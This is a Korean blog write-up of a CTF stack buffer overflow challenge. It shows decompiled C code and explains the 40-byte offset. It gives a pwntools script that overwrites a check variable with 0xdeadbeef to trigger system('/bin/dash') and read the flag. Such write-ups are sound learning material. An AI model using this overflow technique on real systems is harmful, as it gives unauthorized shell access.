int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != -559038737 )
    puts("\nYou are on the right way!");
  if ( v5 == -559038737 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

그냥 간단히 v5를 -559038737로 바꿔주면 된다.

0x34 - 0xC = 0x28 = 40

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3000)

payload = b""
payload += b"A" * 40
payload += p64(0xFFFFFFFFDEADBEEF)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

0xFFFFFFFFDEADBEEF는 -559038737를 16진수로 바꾼것이다.

이걸로 v5가 -559038737가 되어 system("/bin/dash") 함수가 실행되면

쉘에서 명령어를 실행할 수 있다.

그래서 cat flag 로 flag를 읽어온다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16

+ Recent posts